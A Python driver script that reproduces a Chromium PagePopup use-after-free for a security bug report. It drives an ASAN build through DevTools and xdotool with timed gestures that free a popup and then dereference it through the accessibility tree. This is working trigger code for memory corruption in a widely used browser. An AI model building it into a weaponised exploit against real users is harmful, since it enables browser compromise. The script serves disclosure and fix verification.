#!/usr/bin/env python3
"""
Automation driver for the PagePopup re-entrance UAF POC.

Performs the user gestures described in the manual repro steps:
  1. Left-click the <select> (opens InternalPopupMenu, grants user activation,
     fires the page's mousedown handler that arms a 1200 ms timer).
  2. Send ArrowDown to the page widget; WebFrameWidgetImpl forwards key events
     to the open page popup, where list_picker.js calls
     PagePopupController.setValue() -> sets index_to_select_on_cancel_ on the
     <select>.
  3. Wait for the page's setTimeout to call colorA.click() (OUTER
     OpenPagePopup). Its CancelPagePopup() synchronously fires the <select>
     change event handler, which calls colorB.click() (INNER OpenPagePopup).
     After both return, page_popup_ == popup_A and popup_B is orphaned with
     refcount 1.
  4. Perform a real OS-level mouse click on the page area. The orphaned popup_B
     view's EventObserverForPopupExit observes it and calls Shutdown() ->
     ShutdownAndDestroyWidget(true). The PopupWidgetHost mojo disconnect
     triggers WebPagePopupImpl::WidgetHostDisconnected -> Close() -> Release(),
     freeing popup_B.
  5. The page's accessibility-poking loop forces AXNodeObject(colorB) to
     recompute children -> AddPopupChildren -> ColorChooserPopupUIController::
     RootAXObject() -> popup_->RootAXObject() : virtual call on a freed
     WebPagePopupImpl. ASAN reports heap-use-after-free.

Prerequisites:
  - A running X server (real or Xvfb) on $DISPLAY.
  - `xdotool` on $PATH (for the OS-level mouse click).
  - Python `websocket-client` (pip install websocket-client).
  - server.py running and serving poc.html.

Usage:
  python3 driver.py --chrome /path/to/out/asan/chrome \
                    --url http://127.0.0.1:8080/poc.html \
                    --log /tmp/chrome-asan.log
"""
import argparse, json, os, shutil, signal, subprocess, sys, tempfile, time
import urllib.request

try:
    import websocket  # pip install websocket-client
except ImportError:
    sys.exit("error: `pip install websocket-client` is required")

ap = argparse.ArgumentParser()
ap.add_argument('--chrome', required=True, help='path to ASAN chrome binary')
ap.add_argument('--url', default='http://127.0.0.1:8080/poc.html')
ap.add_argument('--cdp-port', type=int, default=19222)
ap.add_argument('--log', default='chrome-asan.log')
ap.add_argument('--xdotool', default=shutil.which('xdotool') or 'xdotool')
ap.add_argument('--profile', default=None,
                help='user-data-dir (default: fresh tempdir)')
args = ap.parse_args()

if 'DISPLAY' not in os.environ:
    sys.exit('error: $DISPLAY not set; this POC requires an Aura/X11 desktop')

profile = args.profile or tempfile.mkdtemp(prefix='chrome-poc-')
logf = open(args.log, 'wb')
env = dict(os.environ)
env.setdefault('ASAN_OPTIONS',
               'detect_odr_violation=0:symbolize=1:handle_abort=1')

chrome = subprocess.Popen([
    args.chrome,
    '--no-sandbox', '--no-first-run', '--no-default-browser-check',
    '--disable-gpu',
    '--disable-features=Translate,CalculateNativeWinOcclusion',
    # The UAF is dereferenced through the AX tree
    # (AXNodeObject::AddPopupChildren). Either run with a screen reader
    # attached, or force AX on:
    '--force-renderer-accessibility',
    f'--remote-debugging-port={args.cdp_port}',
    '--remote-allow-origins=*',
    '--enable-logging=stderr', '--v=0',
    f'--user-data-dir={profile}',
    '--window-position=0,0', '--window-size=1200,900',
    args.url,
], stdout=logf, stderr=subprocess.STDOUT, env=env)
print(f'[driver] chrome pid={chrome.pid}, log={args.log}')

def xdo(*a):
    return subprocess.run([args.xdotool, *map(str, a)], env=env,
                          capture_output=True, text=True).stdout.strip()

# --- wait for the CDP page target ----------------------------------------
page = None
for _ in range(80):
    try:
        ts = json.load(urllib.request.urlopen(
            f'http://127.0.0.1:{args.cdp_port}/json'))
        page = next((t for t in ts if t.get('type') == 'page'
                     and 'poc.html' in t.get('url', '')), None)
        if page: break
    except Exception:
        pass
    time.sleep(0.5)
if not page:
    chrome.terminate()
    sys.exit('error: CDP page target not found')
print(f'[driver] CDP page target {page["id"]}')
ws = websocket.create_connection(page['webSocketDebuggerUrl'])
mid = [0]
def call(method, **params):
    mid[0] += 1
    ws.send(json.dumps({'id': mid[0], 'method': method, 'params': params}))
    while True:
        m = json.loads(ws.recv())
        if m.get('id') == mid[0]:
            return m.get('result', m)

# wait for the X11 window so xdotool can target it later
main_win = ''
for _ in range(60):
    main_win = xdo('search', '--name', 'PagePopup UAF POC').splitlines()[:1]
    if main_win:
        main_win = main_win[0]; break
    time.sleep(0.5)
print(f'[driver] main window = {main_win}')
xdo('windowraise', main_win)
xdo('windowfocus', '--sync', main_win)
time.sleep(2.0)  # let layout/AX settle

# --- get layout info -----------------------------------------------------
r = call('Runtime.evaluate', expression="""
  (() => {
    const r = selOld.getBoundingClientRect();
    return JSON.stringify({
      x: r.x, y: r.y, w: r.width, h: r.height,
      sx: window.screenX, sy: window.screenY,
      oh: window.outerHeight, ih: window.innerHeight,
      ow: window.outerWidth, iw: window.innerWidth
    });
  })()
""", returnByValue=True)
info = json.loads(r['result']['value'])
print(f'[driver] layout = {info}')
cx, cy = info['x'] + info['w'] / 2, info['y'] + info['h'] / 2

# --- (1) click the <select> via CDP --------------------------------------
# CDP Input.dispatchMouseEvent uses viewport coordinates and grants user
# activation, exactly like a real click.
print(f'[driver] click <select> at viewport ({cx:.0f},{cy:.0f})')
call('Input.dispatchMouseEvent', type='mouseMoved', x=cx, y=cy, button='none')
call('Input.dispatchMouseEvent', type='mousePressed', x=cx, y=cy,
     button='left', buttons=1, clickCount=1)
call('Input.dispatchMouseEvent', type='mouseReleased', x=cx, y=cy,
     button='left', buttons=0, clickCount=1)
time.sleep(0.4)

# --- (2) ArrowDown forwarded to the select popup -------------------------
print('[driver] ArrowDown (forwarded to InternalPopupMenu)')
call('Input.dispatchKeyEvent', type='rawKeyDown',
     windowsVirtualKeyCode=40, nativeVirtualKeyCode=40,
     code='ArrowDown', key='ArrowDown')
call('Input.dispatchKeyEvent', type='keyUp',
     windowsVirtualKeyCode=40, nativeVirtualKeyCode=40,
     code='ArrowDown', key='ArrowDown')

# --- (3) wait for the page-side OUTER colorA.click() (1200 ms) -----------
time.sleep(1.6)
print('[driver] OUTER OpenPagePopup should have fired; popup_B now orphaned')

# --- (4) OS-level mouse click on the page area ---------------------------
# Aura's EventObserverForPopupExit only observes window-system events, so this
# step must use a real XTEST click (not CDP). When the orphaned popup_B view
# observes a mouse-press outside itself, it Shutdown()s, freeing the
# renderer-side WebPagePopupImpl via PopupWidgetHost disconnect.
chrome_top  = info['sy'] + (info['oh'] - info['ih'])
chrome_left = info['sx'] + (info['ow'] - info['iw'])
kx, ky = int(chrome_left + 800), int(chrome_top + 600)
print(f'[driver] OS-level click at screen ({kx},{ky})')
xdo('windowraise', main_win)
time.sleep(0.15)
xdo('mousemove', kx, ky)
time.sleep(0.1)
xdo('click', '1')
time.sleep(0.2)
xdo('click', '1')

# --- (5) wait for the page-side AX poking loop to deref the dangling ptr -
print('[driver] waiting for AX tree update to deref freed WebPagePopupImpl ...')
time.sleep(6)

ws.close()
chrome.send_signal(signal.SIGTERM)
try:
    chrome.wait(10)
except subprocess.TimeoutExpired:
    chrome.kill()
logf.close()

# --- report --------------------------------------------------------------
text = open(args.log, 'r', errors='replace').read()
if 'AddressSanitizer: heap-use-after-free' in text:
    i = text.index('ERROR: AddressSanitizer')
    print('\n' + '=' * 70)
    print(text[i:i + 4000])
    print('=' * 70)
    print('[driver] SUCCESS: ASAN heap-use-after-free triggered '
          f'(full log: {args.log})')
    sys.exit(0)
elif 'Check failed: !page_popup_' in text:
    print('[driver] CHECK(!page_popup_) fired -- bandaid fix is applied; '
          'UAF correctly converted to a safe crash.')
    sys.exit(0)
else:
    print(f'[driver] no ASAN report in {args.log}; inspect log and retry '
          '(timing-sensitive).')
    sys.exit(1)